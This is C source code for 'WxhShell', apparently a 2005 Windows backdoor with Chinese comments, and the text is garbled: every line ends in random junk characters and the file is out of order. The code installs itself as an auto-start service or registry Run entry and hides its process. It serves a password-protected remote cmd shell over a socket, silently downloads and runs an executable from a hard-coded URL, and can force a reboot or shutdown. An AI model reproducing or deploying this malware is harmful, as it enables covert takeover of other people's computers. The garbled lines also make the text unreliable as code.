    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z,bQQ;z9  
    if(Boot(SHUTDOWN)) w MP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' dx1x6  
    else { nn9wdt@.]  
    closesocket(wsh); &0(  
    ExitThread(0); [.*;6y3  
    } f'{]"^e=  
    break; FH%GIi  
    } !o+_T?  
  // 获取shell ]mXLg:3B  
  case 's': { L%c0Z@[~  
    CmdShell(wsh); b2=0}~LK  
    closesocket(wsh); *"r~-&IL  
    ExitThread(0); o9S+6@  
    break; lF?tQB/a  
  } S&Ee,((E(  
  // 退出 d)R352  
  case 'x': { v\"S Gc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?9=9C"&s  
    CloseIt(wsh); Css l{B  
    break; ;h" P{fF   
    } JS>Gd/Jd  
  // 离开 _fP&&}  
  case 'q': { R$Tp8G>j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `VL}.h  
    closesocket(wsh); #I3$3^0i#  
    WSACleanup(); S#Sb]  
    exit(1); \7 NpT}dj  
    break; ^F"iP7   
        }  g}U3y'  
  } %-AE]-/HI  
  } t"YNgC ^  
k` (jkbEZ  
  // 提示信息 5 `RiS]IO]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V$rlA' +1v  
} ? j 9|5*  
  } ~w;]c_{.b  
d4 (/m_HMu  
  return; ~E^,=4  
} "AhTH.ZP  
G>+1*\c  
// shell模块句柄 NAzX". g  
int CmdShell(SOCKET sock) ulJX1I=|p  
{ n%\ /J  
STARTUPINFO si; 2{.QjYw^  
ZeroMemory(&si,sizeof(si)); \S)2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EmT`YNuc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^@_m "^C  
PROCESS_INFORMATION ProcessInfo; +/;*|  
char cmdline[]="cmd"; zn @N'R/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (x$9~;<S*d  
  return 0; 'iY*6<xS<  
} 34R!x6W0  
zPKr/  
// 自身启动模式 e~T@~(fft  
int StartFromService(void) ;u(Du-Os!  
{ Mf#83 <&K  
typedef struct UYtuED  
{ aRJ>6Q}  
  DWORD ExitStatus; ?P7]u>H  
  DWORD PebBaseAddress; <(e8sNe  
  DWORD AffinityMask; 35x 0T/8  
  DWORD BasePriority; hwDbs[:  
  ULONG UniqueProcessId; Y}DonF  
  ULONG InheritedFromUniqueProcessId; ;|cTHGxbE  
}   PROCESS_BASIC_INFORMATION; rBN)a"  
G^1b>K  
PROCNTQSIP NtQueryInformationProcess; " uPy,<l  
`:G%   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j9/-"dTL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1lnU77;  
7gS1~Q4\V2  
  HANDLE             hProcess; $8BE[u|H2  
  PROCESS_BASIC_INFORMATION pbi; U`x bPQ  
x4#T G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M}hrO-C  
  if(NULL == hInst ) return 0; {+g[l5CR[  
X{-9FDW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Of FM9(:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =[<m[.)i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g+C!kaC)  
S? 0)1O  
  if (!NtQueryInformationProcess) return 0; :b,^J&~/)1  
N|2y"5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y3ZK%OyPR  
  if(!hProcess) return 0; OlQ,Ce  
S|GWcSg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '?yCq$&  
Ab1/.~^  
  CloseHandle(hProcess); BD#.-xWV  
e|r0zw S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ARfRsPxr  
if(hProcess==NULL) return 0; k 2%S`/:  
-NBiW6b~  
HMODULE hMod; ,A5)<}  
char procName[255]; %:qoV0DR  
unsigned long cbNeeded; |k{-l!HI  
?Jtg3AY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =qvZpB7ZZ  
w h$jr{  
  CloseHandle(hProcess); '7im  
dy>|c j  
if(strstr(procName,"services")) return 1; // 以服务启动 n!He&  
sxED7,A  
  return 0; // 注册表启动 pD@zmCU  
} i$-#dc2qY  
sst,dA V$  
// 主模块 HpexH{.u)  
int StartWxhshell(LPSTR lpCmdLine) b]]N{: I  
{ t^tCA -  
  SOCKET wsl; |@o6NZ<9N  
BOOL val=TRUE; xkA2g[  
  int port=0; .]}N55M  
  struct sockaddr_in door; DjW$?>  
-&[z\"T  
  if(wscfg.ws_autoins) Install(); K.SeK3(  
y^FOsr  
port=atoi(lpCmdLine); '?Iif#Z1  
YJ2ro-X  
if(port<=0) port=wscfg.ws_port; X^@[G8v%  
YbMssd2Yg  
  WSADATA data; J%dJw}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ev>oC~>s  
{sC=J hs-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0d\~"4 R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f3 ]  
  door.sin_family = AF_INET; rvwy~hO"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M>_= "atI  
  door.sin_port = htons(port); I/UQ'xx  
77 :'I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8kW/DcLE  
closesocket(wsl); %TK&)Q% h5  
return 1; O=jN&<rb  
} DPJh5d  
MPRO !45Z  
  if(listen(wsl,2) == INVALID_SOCKET) { f(u&XuZ  
closesocket(wsl); ]RFdLV?  
return 1; g<[rH%\6fg  
} dA#{Cn;  
  Wxhshell(wsl); $ehg@WK}.  
  WSACleanup(); v29G:YQe  
"~p+0Xws9  
return 0; N5 q725zJ  
ZcZ;$*  
} j.QHkI1.  
IF?xnu  
// 以NT服务方式启动 -WT3)On  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e!o(g&wBj  
{ cj(X2L  
DWORD   status = 0; hswTn`f  
  DWORD   specificError = 0xfffffff; f:%SW  
mpef]9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T#iU+)-\%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GF R!n1Hv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ]R Mb,hJ  
  serviceStatus.dwWin32ExitCode     = 0; qiNliJ>40E  
  serviceStatus.dwServiceSpecificExitCode = 0; \mXqak,y  
  serviceStatus.dwCheckPoint       = 0; }h~'AM  
  serviceStatus.dwWaitHint       = 0; / = ^L iP  
xtJAMo>g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _IYY08&(r  
  if (hServiceStatusHandle==0) return; t>U!Zal"  
gEKO128  
status = GetLastError(); X7e/:._SAH  
  if (status!=NO_ERROR) sA_X<>vAKJ  
{ kQ}s/*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +?e}<#vd'?  
    serviceStatus.dwCheckPoint       = 0; &LU'.jY  
    serviceStatus.dwWaitHint       = 0; jpO38H0)  
    serviceStatus.dwWin32ExitCode     = status; XZ:1!;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9oq)X[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^"tqdeCb=  
    return; I>((o`  
  } g[!Cj,  
gNa#|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hh&Js'd  
  serviceStatus.dwCheckPoint       = 0; yH(V&Tv  
  serviceStatus.dwWaitHint       = 0; [~?M/QI9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?0npEz|  
} )Z:m)k>r;  
9N}W(>  
// 处理NT服务事件,比如:启动、停止 =QiT)9q)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l @A"U)A(  
{ nO@+s F  
switch(fdwControl) kukaim>K  
{ d8.ajeN]o  
case SERVICE_CONTROL_STOP: .!j#3J..u  
  serviceStatus.dwWin32ExitCode = 0; p}8ratmN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WTu{,Q  
  serviceStatus.dwCheckPoint   = 0; v>^jy8$  
  serviceStatus.dwWaitHint     = 0; B,0+HoP  
  { .cw=*<zeg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Qu_E  
  } `Xqy  
  return; l\U*sro<  
case SERVICE_CONTROL_PAUSE: ;qT5faKB3J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `GkRmv*  
  break; M+UMR+K  
case SERVICE_CONTROL_CONTINUE: kh&_#,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e3rfXhp  
  break; S&|VkZR)  
case SERVICE_CONTROL_INTERROGATE: td/5Bmj  
  break; nCB[4  
}; 2))t*9;h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KW:r;BFx  
} y<uE-4  
x9\J1\  
// 标准应用程序主函数 J=L`]XE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K-<n`zg3  
{ 0nT%Slbih  
ct.Bg)E  
// 获取操作系统版本 b.(XS?4o  
OsIsNt=GetOsVer(); T]X{ @_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2HVCXegq  
|lHFo{8"  
  // 从命令行安装 KF4see;;  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ei|0L$NCg  
Deog4Ol"/  
  // 下载执行文件 d5q4'6o,  
if(wscfg.ws_downexe) { ;;6\q!7`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5 {fwlA  
  WinExec(wscfg.ws_filenam,SW_HIDE); :b,o B==%  
} ;y ,NC2Xj  
Qasr:p+  
if(!OsIsNt) { ujNt(7Cz  
// 如果时win9x,隐藏进程并且设置为注册表启动 vF+YgQ1H  
HideProc(); t*rp3BIG  
StartWxhshell(lpCmdLine); aKD;1|)  
} ^s.oZj q  
else ec`>KuY  
  if(StartFromService()) 8ipW3~-4  
  // 以服务方式启动 %8g$T6E[<2  
  StartServiceCtrlDispatcher(DispatchTable); 0c-QIr}m  
else 2:n|x5\H  
  // 普通方式启动 ,FS?"Ni  
  StartWxhshell(lpCmdLine); T*p|'Q`  
_dY:)%[]  
return 0; ],$6&Cm  
} =QTmK/(|B  
v6KL93  
C,R,:zR  
4Z],+?.[  
=========================================== H7J`]nr6  
$TFTIk*uU  
=>.DD<g"  
j@_nI~7f}  
r8<JX5zyuo  
^U" q|[qy  
" Vz k cZK  
B_b8r7Vn`  
#include <stdio.h> =sL(^UISl  
#include <string.h> 6O%=G3I  
#include <windows.h> cy9N:MR(c  
#include <winsock2.h> cyDiA(ot&  
#include <winsvc.h>  s"#CkG  
#include <urlmon.h> M$gvq:}kt  
# e$\~cPd  
#pragma comment (lib, "Ws2_32.lib") Y]?Kqc  
#pragma comment (lib, "urlmon.lib") ^v#+PyW  
2}ag_  
#define MAX_USER   100 // 最大客户端连接数 Lq3(Z%  
#define BUF_SOCK   200 // sock buffer M2a}x+5'  
#define KEY_BUFF   255 // 输入 buffer dzpj9[  
~igRg~k:/  
#define REBOOT     0   // 重启 |F3vRt@  
#define SHUTDOWN   1   // 关机 EmYO5Whi  
_dz +2au  
#define DEF_PORT   5000 // 监听端口 [p2g_bI8yK  
Q1K"%  
#define REG_LEN     16   // 注册表键长度 S_`W@cp[  
#define SVC_LEN     80   // NT服务名长度 'o7R/`4KR  
`9]P/J^  
// 从dll定义API 1g+LF[*-~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (tgEa{rPAP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WvIK=fdZ$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x0y% \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #^"hqNwA  
(}VuiNY<3  
// wxhshell配置信息 U[blq M  
struct WSCFG { @F>[DW]O  
  int ws_port;         // 监听端口 `>dIF.  
  char ws_passstr[REG_LEN]; // 口令 qT 5Wa O)  
  int ws_autoins;       // 安装标记, 1=yes 0=no #}nBS-+  
  char ws_regname[REG_LEN]; // 注册表键名 J!ln=h  
  char ws_svcname[REG_LEN]; // 服务名 |Tj`qJGVw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L;L2j&i%v)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Kq<\"7Bmz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2#,8evH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =mDy@%yx!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IJ+O),'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kOo>Iy  
-t;?P2  
}; \CP*i_:"  
]Fb8.q5(Y  
// default Wxhshell configuration s$Ic DuBu  
struct WSCFG wscfg={DEF_PORT, ~oEXM ?M  
    "xuhuanlingzhe", Xcs8zT  
    1, [^cs~ n4  
    "Wxhshell", ")fOup@ ^a  
    "Wxhshell", ? +5" %4o  
            "WxhShell Service", V6A5(-%`y  
    "Wrsky Windows CmdShell Service", +#&el//  
    "Please Input Your Password: ", k9. u[y.  
  1, l6r%nHP@  
  "http://www.wrsky.com/wxhshell.exe", [N'r3  
  "Wxhshell.exe" d#x8O4S%i2  
    }; nhB^Xr=  
37.) @  
// 消息定义模块 $Ui]hA-:?y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {jq^hM!TEy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^!zJf7(+<>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /DgT1^&0  
char *msg_ws_ext="\n\rExit."; <FMuWHY  
char *msg_ws_end="\n\rQuit."; ,C5@ P+A  
char *msg_ws_boot="\n\rReboot..."; eh8<?(eK  
char *msg_ws_poff="\n\rShutdown..."; @B}&62T  
char *msg_ws_down="\n\rSave to "; o{s4.LKK  
W\d0  
char *msg_ws_err="\n\rErr!"; ^XjvJa  
char *msg_ws_ok="\n\rOK!"; j@kRv@  
;,[EJR^CI  
char ExeFile[MAX_PATH]; 1q;I7_{ 2  
int nUser = 0; 853]CK<  
HANDLE handles[MAX_USER]; +_vm\]4  
int OsIsNt; pO-)x:Wg  
~:'gvR;x  
SERVICE_STATUS       serviceStatus; J tn&o"C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o(S^1j5  
ee__3>H"/  
// 函数声明 rd f85%%7  
int Install(void); ?j},O=JFn  
int Uninstall(void); _rWTw+ L  
int DownloadFile(char *sURL, SOCKET wsh); (7 ]\p  
int Boot(int flag); AmUe0CQ:k'  
void HideProc(void); K6 PC&+x  
int GetOsVer(void); ^MF=,U'8  
int Wxhshell(SOCKET wsl); bCe[nmE2  
void TalkWithClient(void *cs); oW\Q>c7 =  
int CmdShell(SOCKET sock); r zc 3k~@  
int StartFromService(void); % B7?l  
int StartWxhshell(LPSTR lpCmdLine); _.s\qQ  
72B zvY.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +4p2KYO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lcuH]z  
.pNq-T  
// 数据结构和表定义 =}6Z{}(TT  
SERVICE_TABLE_ENTRY DispatchTable[] = RQ_#rYmT  
{ jb6ZAT<8  
{wscfg.ws_svcname, NTServiceMain}, 06j)P6Iju  
{NULL, NULL} dqK  
}; @Reh?]# v  
P^o"PKA  
// 自我安装 j:\_*f  
int Install(void) AmrJ_YP/t~  
{ 3oNt]2w/'  
  char svExeFile[MAX_PATH]; bN<O<x1j  
  HKEY key; ,sy / r V  
  strcpy(svExeFile,ExeFile); \f<thd*bC  
Tk2&{S"  
// 如果是win9x系统,修改注册表设为自启动 *1;L,*J"|  
if(!OsIsNt) { $$)<(MP3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .5$V7t.t$\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Uoe ~\  
  RegCloseKey(key); /Wta$!X{-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pB{ f-M:D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b_"V%<I  
  RegCloseKey(key); |<5J  
  return 0; 07E".T%Ts  
    } _ 3-,3ia  
  } ~"hAb2  
} 'ra_Zg[j  
else { @b(gjOE  
YC+ZVp"v  
// 如果是NT以上系统,安装为系统服务 Qr xO erp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yp7,^l  
if (schSCManager!=0) Phjf$\pt  
{ |7 W6I$Xl  
  SC_HANDLE schService = CreateService >O[^\H!\  
  ( ]mDsUZf<  
  schSCManager, #|2g{7 g*  
  wscfg.ws_svcname, qoyGs}/I8  
  wscfg.ws_svcdisp, 4$#ia F  
  SERVICE_ALL_ACCESS, O,z%7><  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1tK6lrhj  
  SERVICE_AUTO_START, d#$i/&gE  
  SERVICE_ERROR_NORMAL, vzT6G/  
  svExeFile, c_j )8  
  NULL, 9/^Bj  
  NULL, [Nzg 8FP  
  NULL, K <fq=:I3  
  NULL,  I$sm5oL  
  NULL #v]aT  ]}  
  ); G5Dji_|  
  if (schService!=0) c~u F  
  { KfI$'F #"/  
  CloseServiceHandle(schService); EJiF_  
  CloseServiceHandle(schSCManager); U#^:f7-$.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I n%yMH8  
  strcat(svExeFile,wscfg.ws_svcname); 1Y"y!\t7G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GCmVmOdKr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z6HkQ=A64  
  RegCloseKey(key); . KSr@Gz  
  return 0; (\[!,T"[  
    } >0G}, S  
  } $y |6<  
  CloseServiceHandle(schSCManager); s(DaPhL6Qm  
} 2%, ' }Bus  
} mZ.6Njb  
"{1}  
return 1; fCo2".Tk  
} XVK[p=cIL  
c`[uQXv  
// 自我卸载 !t [%'!v  
int Uninstall(void) BsG[#4KM:  
{ KARQKFp!C>  
  HKEY key; 97=YFK~*  
1Yx[,GyC>&  
if(!OsIsNt) { ry<}DK<u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "7u"d4h-:(  
  RegDeleteValue(key,wscfg.ws_regname); X0J]6|du.  
  RegCloseKey(key); TuhL :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j~<iTLM  
  RegDeleteValue(key,wscfg.ws_regname); 4)S?Y"Bs  
  RegCloseKey(key); 70l;**"4  
  return 0; ~$`YzK^*X  
  } V s t e$V  
} 9kiy^0 7G  
} [(ib9_`A'1  
else { 3lEU$)QA3  
Gt *<?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,'0oj$~S:  
if (schSCManager!=0) N`^W*>XB  
{ YSUH*i/%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pzp"NKx i  
  if (schService!=0) J ##X5'a3*  
  { 'S-"*:$,u  
  if(DeleteService(schService)!=0) { }qX&*DU_@  
  CloseServiceHandle(schService); 74N\G1  
  CloseServiceHandle(schSCManager); rnrx%Q  
  return 0; [Z&s0f1Qb  
  } |gxB; GG  
  CloseServiceHandle(schService); kj"_Y"q=  
  } vnOF$6n  
  CloseServiceHandle(schSCManager); rMFf8D(Y  
} (N>ew)Ke  
} BY2txLLB  
.0/Z'.c 8  
return 1; E;e2{@SX2K  
} iPL'JVPZ  
Q`fA)6U  
// 从指定url下载文件 Bc ,z]  
int DownloadFile(char *sURL, SOCKET wsh) dD2e"OIX  
{ dK`O,[}  
  HRESULT hr; ?26[%%  
char seps[]= "/"; K>~cY%3^i  
char *token; ,#FH8%Yf  
char *file; tQ<2K*3]  
char myURL[MAX_PATH]; NjMLq|X  
char myFILE[MAX_PATH]; H[yLl v  
Sgk{NM7|k  
strcpy(myURL,sURL); %R5MAs&-5  
  token=strtok(myURL,seps); CU M~*  
  while(token!=NULL) DY27'`n6  
  { .VV!$; FB  
    file=token; -5B([jHgR  
  token=strtok(NULL,seps); 43]&SXprH  
  } QU;C*}0Zl  
K&oO+G^f  
GetCurrentDirectory(MAX_PATH,myFILE); K%@SS8!oy  
strcat(myFILE, "\\"); T1TZ+ \  
strcat(myFILE, file); .-*nD8b  
  send(wsh,myFILE,strlen(myFILE),0); ^]K)V  
send(wsh,"...",3,0); VL1z$<vVXt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @"5u~o')@v  
  if(hr==S_OK) /JY i^rZ  
return 0; x1ex}_\  
else ,;& PKY  
return 1; 90I3_[Ii  
yU lQPrNX  
} DEp: vlW@  
]8z6gDp  
// 系统电源模块 'vClZGQ1  
int Boot(int flag) mTbPz Z4  
{ LKG|S<s  
  HANDLE hToken; tH!z7VZ  
  TOKEN_PRIVILEGES tkp; d'J?QH!N0  
he6) L6T  
  if(OsIsNt) { Ct33S+y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aB_z4dqwU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O&%T_Zk@@  
    tkp.PrivilegeCount = 1; j> M%?Tw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FkkB#Jk4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0`=?ig_  
if(flag==REBOOT) { 8=Ht+Br  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \OB3gnR  
  return 0; 6g&nnA  
} \Ki#"%S  
else { [K QZHIe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T!E LH!  
  return 0; (]dZ+"O{  
} <H#K`|Ag  
  } j3F=P  
  else { *mt v[  
if(flag==REBOOT) { r4zS,J;,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GT0'bge  
  return 0; +?'acn  
} v#G ^W  
else { \`x'g)z(i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a#$%xw  
  return 0; 'IszS!kY  
} mY9K)]8  
} HN)QS5  
&*-2k-16  
return 1; =V4!t|(7  
} zD|W3hL2&  
4'*K\Ul).H  
// win9x进程隐藏模块 [Xg"B|FD0  
void HideProc(void) ~:Nyv+g,$  
{ 3~'F^=T.Y  
XCoOs<O:@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &GAx*.L  
  if ( hKernel != NULL ) d_hcv|%  
  { Aed"J5[a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fba3aId[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *4E,| IJ  
    FreeLibrary(hKernel); vA`.8U 0S  
  } "f+2_8%s+  
\x}UjHYIc&  
return; :4d7%q  
} 6;DPGx  
&n wg$z{Y  
// 获取操作系统版本 FT=>haN  
int GetOsVer(void) ?i"FdpW  
{ gw^+[}U#  
  OSVERSIONINFO winfo; ~E~J*R Ze  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^DOcw@Z6HC  
  GetVersionEx(&winfo); FW,D\51pTP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y@eUvz  
  return 1; L&%iY7sC`  
  else HVp aVM  
  return 0; 6h%(0=^  
} V}?5=f'  
DEhA8.v  
// 客户端句柄模块 t=#)3C`Q}  
int Wxhshell(SOCKET wsl) I 3PnyNZ  
{ PHkvt!uH  
  SOCKET wsh; "AVc^>  
  struct sockaddr_in client; 71InYIed  
  DWORD myID; YoA$Gw2  
O&uOm:/(  
  while(nUser<MAX_USER) C/=ZNl9"fn  
{ J^cDa|j  
  int nSize=sizeof(client); I(SE)%!%S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w93,N+es6  
  if(wsh==INVALID_SOCKET) return 1; *yx:nwmo  
FqfeH_-U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l(W3|W#P  
if(handles[nUser]==0) cA kw5}P   
  closesocket(wsh); P<~ y$B  
else ikC;N5Sw  
  nUser++; fx},.P=:*  
  } CDhk!O..  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5o*x?P!$  
%qMk&1  
  return 0; nYHk~<a  
} J4 <*KL~a  
n >'}tT)U  
// 关闭 socket #XZ?,neY  
void CloseIt(SOCKET wsh) `4MPXfoBL  
{ K""04Ew*pV  
closesocket(wsh); [@czvPi  
nUser--; AyUVsIuPT=  
ExitThread(0); vjb{h'v  
} :Pv{ E  
$Fj7'@1(  
// 客户端请求句柄 dj#<,e\  
void TalkWithClient(void *cs) o <y7Ut  
{ .?qS8:yA  
be_t;p`3  
  SOCKET wsh=(SOCKET)cs; 'JydaF~>  
  char pwd[SVC_LEN]; _]g6 3q  
  char cmd[KEY_BUFF]; :n=+$Dq  
char chr[1]; R0>L[1o  
int i,j; -9mh|&z`  
BshS@"8r  
  while (nUser < MAX_USER) { XcXd7e  
8Vx'sJ>r4  
if(wscfg.ws_passstr) { R= l/EK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  6O}r4*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c72/e7gV  
  //ZeroMemory(pwd,KEY_BUFF); c!c!;(  
      i=0; 3HD=)k  
  while(i<SVC_LEN) { s$Mj4_p3l  
?^5x d1>E  
  // 设置超时 <q|19fH-5  
  fd_set FdRead; Kf*+Ilq%L  
  struct timeval TimeOut; <_5z^@N3$  
  FD_ZERO(&FdRead); ?AEpg.9R-  
  FD_SET(wsh,&FdRead); R[b?kT-%  
  TimeOut.tv_sec=8; AbB%osz}Ed  
  TimeOut.tv_usec=0; >.A{=?   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +.=a R<Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kciH  
F n\)*; ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2neiUNT  
  pwd=chr[0]; xGqZ8v`v  
  if(chr[0]==0xd || chr[0]==0xa) { ev>: 3_ s  
  pwd=0; +Fk.B@KT,  
  break; P)3e^~+A  
  } BkcOsJIz  
  i++; nxG vh4'i8  
    } 6i%)'dl  
_$\T;m>'A  
  // 如果是非法用户,关闭 socket ?@ O[$9y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z;-2xD0&U[  
} P _9O8"W  
)vw3Y88  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ysC)5q.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iVD9MHT4  
83@+X4ptp  
while(1) { !e?\> '  
E @7! :  
  ZeroMemory(cmd,KEY_BUFF); ?/;<32cE,  
T"$"`A"  
      // 自动支持客户端 telnet标准   =T1i(M#  
  j=0; tw;`H( UZ^  
  while(j<KEY_BUFF) { {2,V3*NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LWY`J0/  
  cmd[j]=chr[0]; MSA*XDnN  
  if(chr[0]==0xa || chr[0]==0xd) { M/BBNT  
  cmd[j]=0; O!a5  
  break; RxqXGM`4  
  } %9IM|\ulp  
  j++; ^OUkFH;dG?  
    } V r y#  
 `=oN&!  
  // 下载文件 M$w^g8F27H  
  if(strstr(cmd,"http://")) { aw(P@9]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %f@]-  
  if(DownloadFile(cmd,wsh)) C@K@TfK!M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+2ytN*  
  else lGxG$0`;;  
